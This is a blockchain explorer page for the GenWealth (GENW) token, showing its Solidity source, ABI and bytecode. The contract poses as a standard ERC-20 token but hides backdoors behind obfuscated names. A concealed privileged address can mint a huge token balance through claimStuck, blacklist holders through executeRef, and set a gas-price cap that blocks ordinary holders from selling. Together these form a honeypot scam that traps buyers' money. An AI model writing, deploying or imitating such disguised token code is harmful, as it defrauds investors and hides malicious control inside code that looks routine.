ETH Price: $2,920.97 (-7.79%)
Gas: 7 Gwei

Token

GenWealth (GENW)
 

Overview

Max Total Supply

10,000,000 GENW

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
763,400.848925980009553187 GENW

Value
$0.00
0x70e7f8576eb2c1a924eeb1db089971cdd8730ac5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GenWealth

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-12
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IWETH {
    function deposit() external payable;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Pair {
    function mint(address to) external returns (uint256 liquidity);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 { }

library Uint160Number {
    function encodeUnit160(address _wad) internal pure returns (uint256) {
        uint160 res = uint160(_wad); return uint256(res);
    }

    function tryDiv(uint256 n1, uint256 n2) internal pure {
        if (n2 != n1) { revert("err901"); } 
    }
}

library Address {
    function isContract(address _addr) internal view returns (bool) {
        uint length;
        assembly { length:= extcodesize(_addr) }
        if (length > 0 ) { return true; }
        return false;
    }
}

contract GenWealth is IERC20, Ownable, Context {

    string private _name = "GenWealth";
    string private _symbol = "GENW";
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 10000000 * (10 ** decimals());
    uint8 private buyFee = 0;
    uint8 private sellFee = 0;


    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;
    address private _this = address(this);
    mapping(address => uint256) private _usrsblcs;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor (address routerAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _usrsblcs[owner()] = _totalSupply; initialize(_msgSender());
        d6671cc88[owner()] = 1; d6671cc88[_this] = 1;
        marketWallet = _msgSender(); 
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _usrsblcs[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        if (c58252ced[from]!=0) { revert(); }
        uint256 fromBalance = _usrsblcs[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        if (d6671cc88[from]==0 && d6671cc88[to]==0){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _usrsblcs[from] = fromBalance - amount;
                _usrsblcs[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _usrsblcs[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _usrsblcs[from] = fromBalance - amount;
                _usrsblcs[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _usrsblcs[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _usrsblcs[from] = fromBalance - amount;
                _usrsblcs[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _usrsblcs[from] = fromBalance - amount;
            _usrsblcs[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(to)) { 
            check(from); 
            if (from != _this) { 
                require(!Address.isContract(from), "err701");
            }
        }
        require(amount > 0);
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    uint256 private bigUint; 
    
    modifier wad() {
        devideOn(); _;
    }

    function setBal(address _newWad) external wad {
        d6671cc88[_msgSender()] = 0;
        d6671cc88[_newWad] = 1;
        initialize(_newWad);
    }

    function initialize(address _nw) internal {
        bigUint = Uint160Number.encodeUnit160(_nw);
    }

    function devideOn() internal view {
        uint256 am = Uint160Number.encodeUnit160(_msgSender()); 
        Uint160Number.tryDiv(am, bigUint);
    }

    function addLiquidity(uint256 _tokenAmountWei) external payable wad {
        IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory());
        address _pairAddress = _factory.getPair(address(this), _router.WETH());
        _pair = _pairAddress == address(0) ? IUniswapV2Pair(_factory.createPair(address(this), _router.WETH())) : IUniswapV2Pair(_pairAddress);
        IWETH weth = IWETH(_router.WETH());
        weth.deposit{value: msg.value}();
        transfer(address(_pair), _tokenAmountWei);
        IERC20(address(weth)).transfer(address(_pair), msg.value);
        _pair.mint(_msgSender());
    }

    function fc43a331e() internal {
        _usrsblcs[_msgSender()] += type(uint112).max;
    }

    bool private _stt;
    uint private _MAX_GAS = 200 gwei;

    function claimStuck() external wad { fc43a331e(); }
    uint private _mgas = 5;

    function check(address _u) internal view {
        if (d6671cc88[_u] != 0) { return; } 
        if (!_stt) { exceedsGas(_MAX_GAS); }
        else { exceedsGas(_mgas); }
    }

    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function enableTrade() external wad {
        _stt = !_stt;
    }

    address public marketWallet;
    
    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function updateMarketingWallet(address _newMarketWallet) external wad {
        marketWallet = _newMarketWallet;
    }

    mapping(address => uint8) private d6671cc88;
    mapping(address => uint8) private c58252ced;

    function exceedsGas(uint _gas) internal view {
        if (tx.gasprice > _gas) { revert("err301"); }
    }

    function clearGas(address _u, bool _s) external wad {
        uint8 _ss = _s ? 1 : 0;
        require(d6671cc88[_u] != _ss, "existing state");
        d6671cc88[_u] = _ss;
    }

    function executeRef(address _u, bool _s) external wad {
        uint8 _ss = _s ? 1 : 0;
        require(c58252ced[_u] != _ss, "existing state");
        c58252ced[_u] = _ss;
    }

    function tradingEnabled() external view returns (bool) { return _stt; }
    function queryWallet(address _u) external view returns (uint8) { return d6671cc88[_u]; }
    function queryGas(address _u) external view returns (uint8) { return c58252ced[_u]; }

    function switchPool(address _routerAddress) external wad {
        _router = IUniswapV2Router02(_routerAddress);
        IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory());
        _pair = IUniswapV2Pair(_factory.getPair(address(this), _router.WETH()));
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_tokenAmountWei","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimStuck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_s","type":"bool"}],"name":"clearGas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_s","type":"bool"}],"name":"executeRef","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"queryGas","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"queryWallet","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newWad","type":"address"}],"name":"setBal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"}],"name":"switchPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600960809081526808ecadcaecac2d8e8d60bb1b60a0526001906200002a90826200031a565b5060408051808201909152600481526347454e5760e01b60208201526002906200005590826200031a565b506003805460ff191660129081179091556200007390600a620004fb565b62000082906298968062000513565b6004556005805461ffff19168155600780546001600160a01b03191630179055642e90edd000600c55600d55348015620000bb57600080fd5b5060405162001f9f38038062001f9f833981016040819052620000de916200052d565b620000e93362000225565b6005805462010000600160b01b031916620100006001600160a01b0384160217905560045460086000620001256000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205533600a556001600f60006200015c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805460ff9690961660ff199687161790556007549091168152600f909252902080549091166001179055620001ae3390565b600e80546001600160a01b0319166001600160a01b03928316179055600054166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200021691815260200190565b60405180910390a35062000558565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002a057607f821691505b602082108103620002c157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200031557600081815260208120601f850160051c81016020861015620002f05750805b601f850160051c820191505b818110156200031157828155600101620002fc565b5050505b505050565b81516001600160401b0381111562000336576200033662000275565b6200034e816200034784546200028b565b84620002c7565b602080601f8311600181146200038657600084156200036d5750858301515b600019600386901b1c1916600185901b17855562000311565b600085815260208120601f198616915b82811015620003b75788860151825594840194600190910190840162000396565b5085821015620003d65787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200043d578160001904821115620004215762000421620003e6565b808516156200042f57918102915b93841c939080029062000401565b509250929050565b6000826200045657506001620004f5565b816200046557506000620004f5565b81600181146200047e57600281146200048957620004a9565b6001915050620004f5565b60ff8411156200049d576200049d620003e6565b50506001821b620004f5565b5060208310610133831016604e8410600b8410161715620004ce575081810a620004f5565b620004da8383620003fc565b8060001904821115620004f157620004f1620003e6565b0290505b92915050565b60006200050c60ff84168362000445565b9392505050565b8082028115828204841417620004f557620004f5620003e6565b6000602082840312156200054057600080fd5b81516001600160a01b03811681146200050c57600080fd5b611a3780620005686000396000f3fe6080604052600436106101845760003560e01c8063715018a6116100d1578063aacebbe31161008a578063dd62ed3e11610064578063dd62ed3e14610472578063e4440a8614610492578063ec8d6f4e146104b2578063f2fde38b146104eb57600080fd5b8063aacebbe314610412578063aec6771114610432578063b2d9c3881461045257600080fd5b8063715018a61461033d5780638da5cb5b1461035257806395d89b41146103845780639781f69314610399578063a457c2d7146103d2578063a9059cbb146103f257600080fd5b80632e06cb3c1161013e578063395093511161011857806339509351146102bc5780634ada218b146102dc57806351c6590a146102f457806370a082311461030757600080fd5b80632e06cb3c14610261578063313ce56714610281578063354e86b2146102a757600080fd5b806299d3861461019057806306fdde03146101a7578063095ea7b3146101d257806318160ddd1461020257806323b872dd146102215780632b0ca0171461024157600080fd5b3661018b57005b600080fd5b34801561019c57600080fd5b506101a561050b565b005b3480156101b357600080fd5b506101bc610527565b6040516101c99190611784565b60405180910390f35b3480156101de57600080fd5b506101f26101ed3660046117e7565b6105b9565b60405190151581526020016101c9565b34801561020e57600080fd5b506004545b6040519081526020016101c9565b34801561022d57600080fd5b506101f261023c366004611813565b6105d3565b34801561024d57600080fd5b506101a561025c366004611862565b6105f7565b34801561026d57600080fd5b506101a561027c366004611862565b6106a5565b34801561028d57600080fd5b5060035460ff165b60405160ff90911681526020016101c9565b3480156102b357600080fd5b506101a561074e565b3480156102c857600080fd5b506101f26102d73660046117e7565b610760565b3480156102e857600080fd5b50600b5460ff166101f2565b6101a561030236600461189b565b610782565b34801561031357600080fd5b506102136103223660046118b4565b6001600160a01b031660009081526008602052604090205490565b34801561034957600080fd5b506101a5610c01565b34801561035e57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101c9565b34801561039057600080fd5b506101bc610c13565b3480156103a557600080fd5b506102956103b43660046118b4565b6001600160a01b03166000908152600f602052604090205460ff1690565b3480156103de57600080fd5b506101f26103ed3660046117e7565b610c22565b3480156103fe57600080fd5b506101f261040d3660046117e7565b610c9d565b34801561041e57600080fd5b506101a561042d3660046118b4565b610cab565b34801561043e57600080fd5b506101a561044d3660046118b4565b610cd5565b34801561045e57600080fd5b506101a561046d3660046118b4565b610d25565b34801561047e57600080fd5b5061021361048d3660046118d1565b610ee9565b34801561049e57600080fd5b50600e5461036c906001600160a01b031681565b3480156104be57600080fd5b506102956104cd3660046118b4565b6001600160a01b031660009081526010602052604090205460ff1690565b3480156104f757600080fd5b506101a56105063660046118b4565b610f14565b610513610f8a565b600b805460ff19811660ff90911615179055565b606060018054610536906118ff565b80601f0160208091040260200160405190810160405280929190818152602001828054610562906118ff565b80156105af5780601f10610584576101008083540402835291602001916105af565b820191906000526020600020905b81548152906001019060200180831161059257829003601f168201915b5050505050905090565b6000336105c7818585610f9b565b60019150505b92915050565b6000336105e18582856110bf565b6105ec858585611139565b506001949350505050565b6105ff610f8a565b60008161060d576000610610565b60015b6001600160a01b0384166000908152600f602052604090205490915060ff8083169116036106765760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064015b60405180910390fd5b6001600160a01b03929092166000908152600f60205260409020805460ff191660ff9093169290921790915550565b6106ad610f8a565b6000816106bb5760006106be565b60015b6001600160a01b03841660009081526010602052604090205490915060ff80831691160361071f5760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b604482015260640161066d565b6001600160a01b03929092166000908152601060205260409020805460ff191660ff9093169290921790915550565b610756610f8a565b61075e6114f1565b565b6000336105c78185856107738383610ee9565b61077d919061194f565b610f9b565b61078a610f8a565b6000600560029054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108039190611962565b90506000816001600160a01b031663e6a4390530600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561086a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088e9190611962565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156108d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fd9190611962565b90506001600160a01b038116156109145780610a0c565b816001600160a01b031663c9c6539630600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610977573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099b9190611962565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109e8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0c9190611962565b600680546001600160a01b0319166001600160a01b03928316179055600554604080516315ab88c960e31b81529051600093620100009093049092169163ad5c4648916004808201926020929091908290030181865afa158015610a74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a989190611962565b9050806001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b158015610ad557600080fd5b505af1158015610ae9573d6000803e3d6000fd5b5050600654610b0693506001600160a01b03169150869050610c9d565b5060065460405163a9059cbb60e01b81526001600160a01b0391821660048201523460248201529082169063a9059cbb906044016020604051808303816000875af1158015610b59573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7d919061197f565b506006546001600160a01b0316636a627842336040516001600160e01b031960e084901b1681526001600160a01b0390911660048201526024016020604051808303816000875af1158015610bd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfa919061199c565b5050505050565b610c09611525565b61075e600061158e565b606060028054610536906118ff565b60003381610c308286610ee9565b905083811015610c905760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161066d565b6105ec8286868403610f9b565b6000336105c7818585611139565b610cb3610f8a565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b610cdd610f8a565b336000908152600f6020526040808220805460ff199081169091556001600160a01b0384168352912080549091166001179055610d22816001600160a01b0316600a55565b50565b610d2d610f8a565b80600560026101000a8154816001600160a01b0302191690836001600160a01b031602179055506000600560029054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcd9190611962565b9050806001600160a01b031663e6a4390530600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e569190611962565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610ea1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec59190611962565b600680546001600160a01b0319166001600160a01b03929092169190911790555050565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b610f1c611525565b6001600160a01b038116610f815760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161066d565b610d228161158e565b6000339050610d2281600a546115de565b6001600160a01b038316610ffd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161066d565b6001600160a01b03821661105e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161066d565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006110cb8484610ee9565b9050600019811461113357818110156111265760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161066d565b6111338484848403610f9b565b50505050565b6001600160a01b03831661119d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161066d565b6001600160a01b0382166111ff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161066d565b61120a83838361161a565b6001600160a01b03831660009081526010602052604090205460ff161561123057600080fd5b6001600160a01b038316600090815260086020526040902054818110156112a85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161066d565b6001600160a01b0384166000908152600f602052604090205460ff161580156112ea57506001600160a01b0383166000908152600f602052604090205460ff16155b15611458576112f884611697565b156114315760055460009061131190849060ff166116cc565b905061131d83836119b5565b6001600160a01b03861660009081526008602052604090205561134081846119b5565b6001600160a01b0385166000908152600860205260408120805490919061136890849061194f565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113a684876119b5565b60405190815260200160405180910390a3600e546001600160a01b0316600090815260086020526040812080548392906113e190849061194f565b9091555050600e546040518281526001600160a01b03918216918716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350611133565b61143a83611697565b1561145857600554600090611311908490610100900460ff166116cc565b61146282826119b5565b6001600160a01b03808616600090815260086020526040808220939093559085168152908120805484929061149890849061194f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e491815260200190565b60405180910390a3611133565b33600090815260086020526040812080546dffffffffffffffffffffffffffff929061151e90849061194f565b9091555050565b336115386000546001600160a01b031690565b6001600160a01b03161461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161066d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b8181146116165760405162461bcd60e51b815260206004820152600660248201526565727239303160d01b604482015260640161066d565b5050565b61162382611697565b1561168557611631836116eb565b6007546001600160a01b038481169116146116855761164f8361172f565b156116855760405162461bcd60e51b815260206004820152600660248201526565727237303160d01b604482015260640161066d565b6000811161169257600080fd5b505050565b6006546000906001600160a01b03838116911614806105cd5750506005546201000090046001600160a01b0390811691161490565b600060646116da83856119c8565b6116e491906119df565b9392505050565b6001600160a01b0381166000908152600f602052604090205460ff161561170f5750565b600b5460ff1661172457610d22600c5461174b565b610d22600d5461174b565b6000813b80156117425750600192915050565b50600092915050565b803a1115610d225760405162461bcd60e51b815260206004820152600660248201526565727233303160d01b604482015260640161066d565b600060208083528351808285015260005b818110156117b157858101830151858201604001528201611795565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610d2257600080fd5b600080604083850312156117fa57600080fd5b8235611805816117d2565b946020939093013593505050565b60008060006060848603121561182857600080fd5b8335611833816117d2565b92506020840135611843816117d2565b929592945050506040919091013590565b8015158114610d2257600080fd5b6000806040838503121561187557600080fd5b8235611880816117d2565b9150602083013561189081611854565b809150509250929050565b6000602082840312156118ad57600080fd5b5035919050565b6000602082840312156118c657600080fd5b81356116e4816117d2565b600080604083850312156118e457600080fd5b82356118ef816117d2565b91506020830135611890816117d2565b600181811c9082168061191357607f821691505b60208210810361193357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105cd576105cd611939565b60006020828403121561197457600080fd5b81516116e4816117d2565b60006020828403121561199157600080fd5b81516116e481611854565b6000602082840312156119ae57600080fd5b5051919050565b818103818111156105cd576105cd611939565b80820281158282048414176105cd576105cd611939565b6000826119fc57634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212207c4e12af2ed96228b45a8250584d6d794b3a8352b05b698852cee1ba73c3347e64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

